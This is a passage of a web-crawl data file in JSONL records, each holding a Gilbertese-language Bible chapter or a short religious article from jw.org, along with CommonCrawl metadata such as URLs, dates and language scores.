ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/2-uea\/24\/","date":"2018-02-21T09:46:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891813602.12\/warc\/CC-MAIN-20180221083833-20180221103833-00521.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":682,"character_repetition_ratio":0.07,"word_repetition_ratio":0.036,"special_characters_ratio":0.233,"stopwords_ratio":0.422,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"16 Ao I ongo te bwanaa ae korakora ae nako man te tabo ae tabu*+ ae kangai nakoia anera ake itiman: \"Kam na nako ni kabwaroi booran unin te Atua aika itiua i aon te aba.\"+ 2 E nako te moan anera ni kabwaroa kanoan ana boora i aon te aba.+ Ao a riki kaboa aika kammaraki aika kakaiaki+ i aoia aomata ake e tane i aoia ana kanikina te man ae tiritiri+ ao ake a taromauria katotongana.+ 3 E kabwaroa kanoan ana boora te anera are te kauoman i nanoni marawa.+ Ao e riki marawa+ bwa kaanga raraan+ te aomata ae mate, ao a bane ni mate maan* aika maiu, eng, baike i nanona. 4 E kabwaroa kanoan ana boora te anera are te kateniman i nanoni karaanga ma koburake n ran,+ ao a a riki bwa te raraa.+ 5 Ao I ongo bwa e kangai te anera are iai mwaakana i aon raan: \"Ko raoiroi ao ko kakaonimaki ni koaua,+ ngkoe Teuare iai ngkai ao iai ngkoa,+ bwa ko karaoi mooti aikai,+ 6 ibukina bwa a a tia ni katiinakoi raraaia te koraki aika itiaki* ao burabeti,+ ai ngaia ae ko a angania te raraa bwa a na nimma.+ A bon tau n anganaki.\"+ 7 Ao I ongo bwa e kangai te baonikarea: \"Eng, a koaua ao a raraoi am motikitaeka*+ ngkoe ae Iehova* ae te Atua ae Moan te Mwaaka.\"+ 8 E kabwaroa kanoan ana boora te anera are te kaaman i aon taai,+ ao e a kariaiakaki taai bwa e na kabuekiia aomata n te ai. 9 Ao a kabuekaki aomata n te kabuebue ae korakora, ma a taetae ni kabuakakaa aran te Atua, are iai mwaakana i aoni baika kamamate aikai, ao a aki rairi nanoia n anganna neboana. 10 E kabwaroa kanoan ana boora te anera are te kaniman i aon ana kaintokanuea te man are tiritiri. Ao e a karooaki ana tautaeka n uea,+ ao a a tenatenai neweia aomata ibukini marakia, 11 ma a taetae ni kabuakakaa te Atua are i karawa ibukini marakia ao ibukini kaboaia, ao a aki rairi nanoia man aia mwakuri. 12 E kabwaroa kanoan ana boora te anera are te kaonoman i aon te karaanga are abwabwaki are Iuberetiti,+ ao e a bwatakataka ranna+ bwa e na katauraoa kawaia ueea+ ake a na kaoti mai ike oti iai taai.* 13 Ao I nori rongorongo* aika tenua aika kamwara aika ai aroia biraoki aika otinako mai win te rakon+ ao mai win te man are tiritiri ao mai win te burabeti ni kewe. 14 Bon rongorongo mairouia taimonio, aika rongorongo aika karaoi kanikina+ ao a kawariia ueea n te aonnaba ni kabutaa bwa a na ikotiia nakon te buaka+ n te bong ae kakannato ae ana bong te Atua ae Moan te Mwaaka.+ 15 \"Noria! I a roko n ai aron rokon te tia iraa.+ E a kukurei ane e teimatoa n tantani+ ao ni kawakina ana kauaatao, bwa e na aki nakonako n akea karabaana ma n tarataraaki te baere e na kamaamaeaki iai irouia aomata.\"+ 16 Ao a ikotiia nakon te tabo ae aranaki n te taetae n Ebera bwa Aremaketon.*+ 17 E kabwaroa kanoan ana boora te anera are te kaitiman n te ea. Ao e nako te bwanaa ae korakora man te tabo ae tabu*+ man te kaintokanuea, ae kangai: \"E a tia!\" 18 Ao e itirua ao e rebwe te baa ao a taetae bwanaa, ao e riki te mwaeiei ae korakora ae tuai man riiriki mangke a moan riki aomata n te aonnaba,+ ae te mwaeiei ae taabangaki ae moan te korakora. 19 Ao e tabwenaua te kaawa are kakannato+ nakon tenimwakoro, ao a bwaka aia kaawa natannaomata. Ao te Atua e uringa taekani Baburon are Kakannato,+ bwa e na anganna te mwangko are kanoana te wain are wainin unna.+ 20 Ao a bane naba ni birinako abamwakoro, ao a aki manga kuneaki maunga.+ 21 Ao e bwaka te karau ae te aiti ae korakora mai karawa i aoia aomata,+ ao aitina tao titeboo tinebuna ma teuana te tarena,* ao a taetae aomata ni kabuakakaa te Atua ibukin te bwai ae kamamate aei ae te karau ae te aiti,+ bwa e a bon rangi ni korakora.\nTaiani Kabwarabwara Mai Nano\n^ Ae taekan te Ruu ae Moan te Tabu n te Tembora.\n^ Kuriiti, psy·kheʹ, nora Nanon Taeka.\n^ Ke, \"tabu.\"\n^ Ke, \"am moti.\"\n^ Ke, \"mai mainiku.\"\n^ Kuriiti, \"taamnei aika kamwara.\"\n^ Kuriiti, Har Ma·ge·donʹ, man te taeka n Ebera ae nanona \"Maungani Mekito.\"\n^ Ae taekan te Ruu ae Moan te Tabu n te Tembora.\n^ Teuana te tarena ni Kuriiti titeboo ma 20.4 te kirokuraem. Nora Buk. B14.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/te-kaotioti\/16\/","date":"2018-02-26T04:31:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891817999.51\/warc\/CC-MAIN-20180226025358-20180226045358-00130.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":750,"character_repetition_ratio":0.082,"word_repetition_ratio":0.005,"special_characters_ratio":0.249,"stopwords_ratio":0.46,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E karika te rawawata te Atua?\nTera am kaeka?\nEng\nE aki\nTao Eng\nAe E Taekinaki n te Baibara\n\"E bon aki kona te Atua ae koaua n iangoa karaoan ae buakaka, ao Teuare Moan te Mwaaka bwa e na karaoa ae kairua!\" (Iobi 34:10) Bon tiaki te Atua ae karika te buakaka ao te rawawata aika ti nori n te aonnaba.\nTera riki reireiara man te Baibara?\nE na toki te rawawata?\nA kakoauaa tabeman aomata bwa e kona n toki te rawawata rinanon aia kaai ni kakorakora aomata, ma iai naba tabeman aika a noria bwa e kangaanga iangoan ae e na kona ni bitaki te waaki n te aonnaba aei nakon ae raoiroi riki. Tera ngkoe am iango?\nAe E Taekinaki n te Baibara\nE na katoka te rawawata te Atua. \"E nang akea riki te mate, ke te nanokawaki ke te tang ke te maraki.\"\nTera riki reireiara man te Baibara?","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/wp201701\/e-karika-te-rawawata-te-atua\/","date":"2018-02-26T04:30:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891817999.51\/warc\/CC-MAIN-20180226025358-20180226045358-00130.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":155,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.439,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"10 E taku ngkanne Iehova nakoni Mote: \"Rinnako nakoni Barao bwa I a tia ni kariaia bwa a na kamatoai nanoia Barao ma ana toro,+ bwa I aonga ni kaotii au kanikina aikai i matana,+ 2 ao ko aonga n tataekina katuuaaean Aikubita irou ao au kanikina ake I karaoi i buakoia, nakoia natim ma tibum+ ao kam na bon ataia bwa bon Iehova ngai.\" 3 Mangaia are a rin Mote ma Aaron nakoni Barao ao a taku nakoina: \"E kangai ana taeka Iehova ae Atuaia taian Ebera, 'Ko na maanra riki n rawa n aantaeka nakoiu?+ Kanakoia au aomata bwa a aonga n toro irou. 4 Bwa ngkana ko teimatoa n rawa ni kanakoia au aomata, ao noria, N nang karokoia rokati i abam ningabong. 5 Ao a na rabuna aon te aba ao e na aki kona n noraki aontano. A na kang nikirani baike a tiku ibukimi imwin te karau ae te aiti, ao a na kang arokami ni kabane ake a rikirake n te tawaana.+ 6 A na kaoni am auti ma aia auti am toro ni kabane ma autin Aikubita ni kabane, n te aro ae a tuai man nonoria tamami ma tibumi nako, man te tai are a moani mena iai n te aba aei ni karokoa te bong aei.'\"+ Ao e rairaki ao e otinako mairouni Barao. 7 Ao a taku ana toro Barao nakoina: \"E na maanra riki te aomata aei n riki bwa kaanga te tia karika te kangaanga nakoira?* Kanakoia aomata aikai bwa a aonga n toro iroun Iehova ae Atuaia. Ko tuai n ataia ae e a uruaki Aikubita?\" 8 Mangaia are a a kairaki Mote ma Aaron ni kaokaki nakoni Barao, ao e taku nakoia: \"Naako tooro iroun Iehova ae Atuami. Ma antai iai aika a na nako?\" 9 E taku ngkanne Mote: \"Ti na nako ma ara ataei, ara kara, natira mwaane, natira aine, ara tiibu, ao ara kao,+ ibukina bwa ti na karaoa te toa nakon Iehova.\"+ 10 E taku nakoia: \"Ti a mataku, ke e mena Iehova iroumi ngkana I kanakoingkami ma ami koraki n ataei!+ E teretere bwa kam kani karaoa te bwai ae buakaka. 11 Mangaia ae N na aki kariaia bwa kam na bane n nako. N na tii kariaia ami mwaane bwa a na nako n toro iroun Iehova, bwa bon anne ae kam bubutii iai.\" Ao a kakioakinako mai matani Barao. 12 E a taku ngkai Iehova nakoni Mote: \"Arora baim nako aon te aba ae Aikubita ibukia rokati, bwa a aonga n roko i aon te aba ae Aikubita ao ni kang aroka ni kabane ake n te aba, ake bwaai ni kabane ake a tiku imwin te karau ae te aiti.\" 13 E aki tabwara Mote ma e a arora naba okona nako aon te aba ae Aikubita, ao e kawaia te angimainiku Iehova bwa e na kare nakon te aba n te ngaina anne ao n te tairiki anne. Ngke e a ingabong ao e a uotiia rokati te angimainiku. 14 Ao a a roko rokati i aon te aba ae Aikubita ni kabutaa ao n tiku i aon aonon Aikubita ni kabutaa.+ E rangi ni karawawataa te aba.+ A tuai mani kaoti rokati aika rangi ni mwaiti n aron aei mai mwaina, ao a na aki manga kaoti aika rangi ni mwaiti rimwi. 15 A rabuna aon te aba ni kabutaa ao e a roo te aba irouia. A kang aroka ni kabane ake n te aba ao uaan nako kaai ake a tiku imwin te karau ae te aiti. Akea te baanikai teuana ae kiriin ae tiku ke mwakoron te uteute teuana i aon te aba ae Aikubita ni kabutaa. 16 Mangaia are e waekoa Barao ni wetea Mote ma Aaron ao e taku: \"I bure nakon Iehova ae Atuami ao nakoimi. 17 Taiaoka kabwaraa au bure n te tai aei, ao kam na butiia Iehova ae Atuami bwa e na kanakoa te rekenikai ae kamamate aei mairou.\" 18 Mangaia are e* a nako mairouni Barao ao e a bubutiia Iehova.+ 19 E a bita ngkanne te ang Iehova nakon te angimaeao ae rangi ni korakora, ao e a uotiia nako rokati nakon Taari ae Uraura. Akea te rokati temanna ae tiku n aonon Aikubita ni kabutaa. 20 Ma e kariaia Iehova bwa e na kamatoaa nanona Barao,+ ao e aki kanakoia tibun Iteraera. 21 E taku ngkanne Iehova nakoni Mote: \"Arora baim nako karawa bwa e aonga n rotongitong aon te aba ae Aikubita ni kabutaa, ae te rotongitong ae rangi ni korakora.\" 22 E aki tabwara Mote ma e a arora naba baina nako karawa, ao e a rotongitong aon te aba ae Aikubita ni kabutaa i nanon tenibong.+ 23 A aikoa kona n noriia i bon irouia, ao akea i buakoia ae e teirake man ana tabo i nanon tenibong, ma e oota aia tabo ni maeka tibun Iteraera ni kabane.+ 24 Ao Barao e wetea Mote ao e taku: \"Naako ao tooro iroun Iehova.+ A na tii tiku ami tiibu ma ami kao. A na iriingkami naba ami koraki n ataei.\" 25 Ma e taku Mote: \"Boni ngkoe ae ko na katauraoi ara* karea ao karea ni kabuekaki, ao ti na kareani baikai nakon Iehova ae Atuara.+ 26 A na irira naba ara man. Akea te man temanna ae kariaiakaki bwa e na tiku, ibukina bwa ti na kabonganai tabeman mai buakoia ibukin taromaurian Iehova ae Atuara, ao ti aki ataia ni karokoa rokora ikekei bwa tera ae ti na kareanna n ara taromauri nakon Iehova.\" 27 Mangaia are e kariaia Iehova bwa e na kamatoaa nanona Barao, ao e aki kariaia kanakoaia.+ 28 E taku Barao nakoina: \"Naako mai matau! Tarataraiko bwa ko na aki manga kataia ni kaoti i matau, bwa n te bong are ko kaoti iai i matau ao ko na mate.\" 29 E kaeka ni kangai Mote: \"N na aki manga kataia ni kaoti i matam n aron ane ko taekinna.\"\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/te-otinako\/10\/","date":"2018-02-24T21:40:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891815951.96\/warc\/CC-MAIN-20180224211727-20180224231727-00235.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1012,"character_repetition_ratio":0.071,"word_repetition_ratio":0.01,"special_characters_ratio":0.245,"stopwords_ratio":0.438,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"4 Ni kabaneani boong*Ao e na kateaki ni kamatoaaki i aon taubukini maunga,Maungan ana auti Iehova+Ao e na karietataaki i etan taian tabuki,Ao a na raanga botannaomata nako iai.+ 2 Ao a na mwananga natannaomata aika bati ao a na kangai: \"Nakomai bwa ti na ararake nakon ana maunga Iehova,Ao nakon ana auti Atuan Iakoba.+ E na reireinira taekani kawaina nako,Ao ti na nakonako ni kawaina nako.\" Bwa e na otinako te tua* mai TionAo ana taeka Iehova mai Ierutarem. 3 E na momotikitaeka i buakoia botannaomata aika bati,+Ao ni kaetii bwaai ni kaineti ma natannaomata aika korakora aika raroanako. Ane a na ororei aia kabaang ni bitii bwa bwaai ni kamarautano,Ao aia kainiwai naba ni bitii bwa bwaai ni koromwaanga.+ Ane e na aki manga tabeka te kabaang te natannaomata teuana n ekaanako te natannaomata teuana,Ao a na aki naba manga reireinia te buaka.+ 4 Ane a na tekateka* temanna ma temanna i aan arokana ae te kureebe ao i aan arokana ae te biiku,+Ao akea temanna ae e na kakamaakuia,+Bwa e taekina anne win Iehova ae atuaia taanga ni buaka.* 5 Bwa a na bane te botannaomata teuana ma teuana n nakonako n aran atuaia,Ma ti na nakonako ngaira n aran Iehova ae Atuara+ n aki totoki. 6 E kangai ana taeka Iehova, \"N te bong anneAo N na ikota te aomata* ae turaturaAo n rikoa te aomata are kamaenakoaki,+N ikotaki naba ma te koraki ake I karawawataia. 7 N na karaoa te aomata* are turatura bwa te nikira,+Ao te aomata are kanakoaki ni kararoaaki bwa te natannaomata ae korakora,+Ao e na tautaeka Iehova bwa te uea i aoia n te Maunga ae Tion,Mangkai ao n aki toki. 8 Ao ngkoe ae ana taua te nanai,Ae ana tabuki natin Tion te aine,+Ane e na roko iroum, eng, e na roko te tautaeka are te moan,*+Ae te tautaeka n uea ae ana bwai natin Ierutarem te aine.+ 9 Ao e aera ngkai ko a takarua ni kanenea bwanaam? Akea am ueaKe e a mate am tia anga te taeka n reirei,N te aro ae e a taonikonako te maraki n aron te aine ae nangi bung?+ 10 Inimaki ao ngirangira ngkoe ae natin Tion te aine,N aron te aine ae nangi bung,Bwa ane ko na nako ngkai man te kaawa ao ni maeka n te tawaana. Ko na nako ao n rokoroko i Baburon+Ao ko na kamaiuaki ikanne.+ Ane e na kabooko Iehova ikanne ni kaokiko mai nanoni baia taani kairiribai nakoim.+ 11 A bati ngkai natannaomata aika a na ikotaki n ekikonako,Ao ane a na kangai, 'Ke e kamwaraeaki neienne,Ao ke a nora rikin te baei nakon Tion matara.' 12 Ma a aki atai ana iango Iehova,Ao a aki ota n ana kantaninga.* Bwa ane e na ikotiia n aroni bwariko ni uita* aika tibwa koreaki nakon te tabo ni kaaki kun ni uita. 13 Teirake ao kaaki kunin te uita ngkoe ae natin Tion te aine,+Bwa N na bitii korom nakon te biti,Ao N na bitii waem nakon te buraati,Ao ane ko na kamanatuaia botannaomata aika bati.+ Ko na kaokoroi nakon Iehova aia raka aika reke n te babakanikawai,Ao kaubwaia nakon te Uea ae koaua n te aonnaba ni kabutaa.\"+\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/mika\/4\/","date":"2018-02-24T01:20:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891814872.58\/warc\/CC-MAIN-20180223233832-20180224013832-00077.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":566,"character_repetition_ratio":0.061,"word_repetition_ratio":0.007,"special_characters_ratio":0.228,"stopwords_ratio":0.449,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"23 \"Akea te mwaane ae manatua koraana ke e koreaki ni kanakoaki ana bwai ni kakariki, ae e na nako buakon ana botaki n aomata Iehova.+ 2 \"Akea te natintamwa ae e na nako buakon ana botaki n aomata Iehova.+ Akea naba kanoana aika a na nako buakon ana botaki n aomata Iehova, ni karokoa te katebwina n roro. 3 \"Akea tibun Ammon ke tibuni Moaba ae kona n nako buakon ana botaki n aomata Iehova.+ Akea naba kanoaia aika a na nako buakon ana botaki n aomata Iehova, ni karokoa te katebwina n roro, 4 ibukina bwa a aki roko n te anganingkami te amwarake ao te ran, ngke kam mwananga i aoni kawaimi n otinako mai Aikubita,+ ao ibukina bwa a kabooa Baraam are natini Beora are mai Betora i Metobotamia, bwa e na kaaitaraingkami ni kamaraiaingkami.*+ 5 Ma e rawa Iehova ae Atuami n ongo irouni Baraam.+ Ma e bita te kamaraia Iehova ae Atuami nakoni kakabwaiaami,+ ibukina bwa e tangiringkami Iehova ae Atuami.+ 6 Kam aki riai n ukoukora mweraoia ke toronibwaia, ni kabane ami bong.+ 7 \"Kam na tai ribaa tibun Etom bwa bon tarimi.+ \"Kam na tai ribaa te I-Aikubita bwa bon aomata ngkami aika kam maeka ngkoa n iruwa i abana.+ 8 A kona natiia ake a bungiaki ake te katenroro, n nako buakon ana botaki n aomata Iehova. 9 \"Ngkana kam katei ami umwanrianna bwa kam na buakania akana kairiribai nakoimi, ao kam riai n rawa nakon te bwai teuana ae buakaka.*+ 10 Ngkana e a aki itiaki te mwaane temanna ibukina bwa e nako ana tari n te tairiki,+ e riai n nako tinanikun te kaembwa ao n aki manga rin n te kaembwa. 11 Ngkana e a moantairiki ao e riai n tebokia n te ran, ao imwina e a kona n okira te kaembwa ni bungin taai.+ 12 E riai ni kaokoroaki te tabo teuana* ae e na kabonganaaki i tinanikun te kaembwa, ao ikanne are kam riai n nako iai ngkana e roko kainnanoana. 13 E riai n iai te bwai ni keniken* i buakon ami bwai ni mwakuri. Ngkana kam toro i tinaniku, ao kam riai ni kena te mwanono iai ao imwina tauna nakotaarimi. 14 Bwa e nakonako Iehova ae Atuami i nanon ami kaembwa+ bwa e na kamaiuingkami, ao e na anganingkami akana kairiribai nakoimi. E riai n tabu ami kaembwa,+ n te aro bwa e na aki nora te bwai teuana ae kamwara iroumi, ao n rairakinako mairoumi iai. 15 \"Kam aki riai n anga te toro nakon ana toka, ngkana e birinako mairoun ana toka ao e kawaringkami. 16 E kona ni maeka i buakomi n te tabo ae e rineia n ami kaawa teuana, n te tabo ae e bon tangiria. Kam na tai karaoa ae buakaka nakoina.+ 17 \"Akea temanna mai buakoia aine aika natiia tibun Iteraera, ae e kona n riki bwa ainen te tembora ae kakabooaki,+ ke temanna mai buakoia mwaane aika natiia tibun Iteraera, ae e na riki naba bwa mwaanen te tembora ae kakabooaki ibukin te wene ni bure.+ 18 Kam na tai uota boon te aine ae kakabooaki, ke boon* te mwaane ae kakabooaki naba ibukin te wene ni bure,* nako nanon ana auti Iehova ae Atuami ibukini kakororaoan ami taeka ni bau, bwa a uaia n riribaaki iroun Iehova ae Atuami. 19 \"Kam aki riai ni kairoroa tarimi bwa e na kabwakaa te bakao,+ ae tao bakaon te mwane, te amwarake, ke te bwai teuana ae e kona ni bakaonaki. 20 Kam kona ni kairoroa te ianena bwa e na kabwakaa te bakao,+ ma kam na tai kairoroa tarimi bwa e na kabwakaa te bakao,+ bwa e aonga ni kakabwaiaingkami Iehova ae Atuami, n ami beku nako n te aba ae kam nang abanna.+ 21 \"Ngkana kam taetae ni bau nakon Iehova ae Atuami,+ ao tai waeremwe ni kakoroa bukina.+ Bwa e bon tangiria mairoumi Iehova ae Atuami, ao e kaawa n reke bwa ami bure.+ 22 Ma ngkana kam aki kan taetae ni bau, ao kam na aki reke n te bure iai.+ 23 Kam riai ni kawakina ana taeka riami,+ ao kam riai ni karaoa are e taetae ni bau iai wimi, bwa te karea ni kan anga nakon Iehova ae Atuami.+ 24 \"Ngkana ko rin n ana nne ni kureebe raom n aomata, ko kona ni kang taiani kureebe aika bon tau ni kanuaiko iai, ma ko aki riai ni karini n am bwaene.+ 25 \"Ngkana ko rinnako n ana tawaana ni uita* raom n aomata, ko kona ni kiniki amwi aika tawaa ni baim, ma ko aki riai ni karina te biti n tai n ana uita kaain rarikim.+\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/te-tua-kaua\/23\/","date":"2018-02-23T05:43:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891814393.4\/warc\/CC-MAIN-20180223035527-20180223055527-00031.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":799,"character_repetition_ratio":0.081,"word_repetition_ratio":0.028,"special_characters_ratio":0.239,"stopwords_ratio":0.434,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"4 Ngkami aika tooka, teimatoa ni karaoa ae raoiroi ao ae eti nakoia ami toro, ngkai kam ataia bwa iai naba ami Toka i karawa.+ 2 Botumwaaka n tataro,+ ao teimatoa ni kamarurungingkami iai ma te katituaraoi.+ 3 Ao kam na tataro naba ibukira,+ bwa e aonga ni kauka te mataroa te Atua ibukin ara rongorongo bwa ti aonga n taekina te bwai ae raba ae tabu ae taekan te Kristo, are boni ngaia ae I kabaeaki ni karabuutinaki iai,+ 4 ao I aonga ni kaotiotia raoi n aron ae I bon riai n taekinna iai. 5 Kam na nakonako ma te wanawana i mataia akana i ao,* ni kabonganai raoi ami tai ni kabane.*+ 6 A na raonaki n taai nako ami taeka n te atataiaomata ao n taoronaki,+ bwa kam aonga n ataa aromi ni kaeka ae riai nakoia aomata n tatabemania nako.+ 7 E na kaongoraeingkami taekau ni kabane tariu ae tangiraki ae Tukiko,+ ae te minita ae kakaonimaki ao raou n toro iroun te Uea. 8 I a kanakoa teuaei nakoimi bwa kam aonga n atai arora, ao e aonga ni kabebetei nanomi. 9 Raona ni mwananga Onetimo+ ae tariu ae tangiraki ae kakaonimaki are e mena i buakomi ngkoa. A na kaongoingkami rongorongon ikai ni kabane. 10 E kamauringkami Arititareko+ ae raou ni kabaeaki, ao Mareko+ naba are ai tarini Barenaba, (are kam tuangaki bwa kam na butimwaeia+ raoi ngkana e roko iroumi), 11 ao Iesu ae aranaki naba bwa Ioutito, ake te koraki ake a korotobibiaki. Tii naakai raou ni mwakuri ibukin ana Tautaeka n Uea te Atua, ao a riki bwa nibwani kabebetean nanou.* 12 E kamauringkami Ebabera+ ae ana toro Kristo Iesu are e mena i buakomi ngkoa. E aki toki ni kakorakoraa n tataro ibukimi, bwa n tokina ao ane kam na teimatoa ni kororaoi* ao ni kakoauaa raoi ana kantaninga te Atua ni kabane. 13 Bwa I kaotiota taekan teuaei bwa e rangi ni kakorakoraa ibukimi ao ibukia naake i Raorikeia ao ake i Ierabori. 14 E kamauringkami Ruka+ ae te taokita ae tangiraki, ao Tema+ naba. 15 Aanga au kamauri nakoia taari i Raorikeia ao Nei Numba ma te ekaretia are n ana auti.+ 16 Ao ngkana e tia ni warekaki te reta aei i buakomi, baireia bwa e na warekaki+ naba n aia ekaretia kaain Raorikeia ao kam na wareka naba te reta are mai Raorikeia. 17 Kam na tuanga naba Arekibo+ ni kangai: \"Mutiakina am mwakuri ni minita are ko butimwaeia ngkai te tia rimwin te Uea ngkoe, bwa ko aonga ni kakororaoia.\" 18 Aio ai bon au kamauri, ngai ae Bauro ae I koreia n oini baiu.+ Kam na ururinga kabaeakiu.+ Ke e mena iroumi ana akoi ae rianako te Atua.\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/i-korote\/4\/","date":"2018-02-24T21:41:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891815951.96\/warc\/CC-MAIN-20180224211727-20180224231727-00393.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":483,"character_repetition_ratio":0.055,"word_repetition_ratio":0.008,"special_characters_ratio":0.233,"stopwords_ratio":0.414,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"36 Ao mataniwi n aia utu kanoani Kireata are natini Makira+ are natini Manate, man aia utu nako natin Ioteba, a kawara Mote ao a taetae i matana ao i mataia mataniwi, ake mataniwia aia utu tibun Iteraera. 2 A taku: \"E tua nakoim Iehova ngkoe ae ara toka bwa ko na tibwatibwaa te aba ni kaineti ma te kanikina* mairoun te Atua,+ bwa tibwangaia tibun Iteraera. Ao e tua Iehova nakon ara toka bwa e na anga tibwangan Terobeata are tarira, nakoia natina aine.+ 3 Ngkana a mare ma mwaane man aia baronga riki tibun Iteraera teuana, e na kanakoaki naba tibwangaia aine aikai mai buakon tibwangaia tamara ao e na ikotaki ma tibwangan te baronga are a na mareaki nako iai, n te aro are e na anaaki man tibwangara are reke iroura n te kanikina mairoun te Atua. 4 Ao ngkana e a roko te Ririki n Inaomata*+ ibukia tibun Iteraera, e na ikotaki naba tibwangaia aine aikai ma tibwangan te baronga are a na mareaki nako iai, n te aro are e na anaaki tibwangaia man tibwangan aia baronga tamara.\" 5 E tua ngkanne ni kangai Mote nakoia tibun Iteraera, ni kaineti ma are e tua Iehova: \"E eti are a taekinna kaain te baronga ake tibun Ioteba. 6 Aio te taeka ae e tua Iehova ibukia natin Terobeata ake aine: 'A kona ni mare ma are a bon tangiria. Ma a riai ni mare 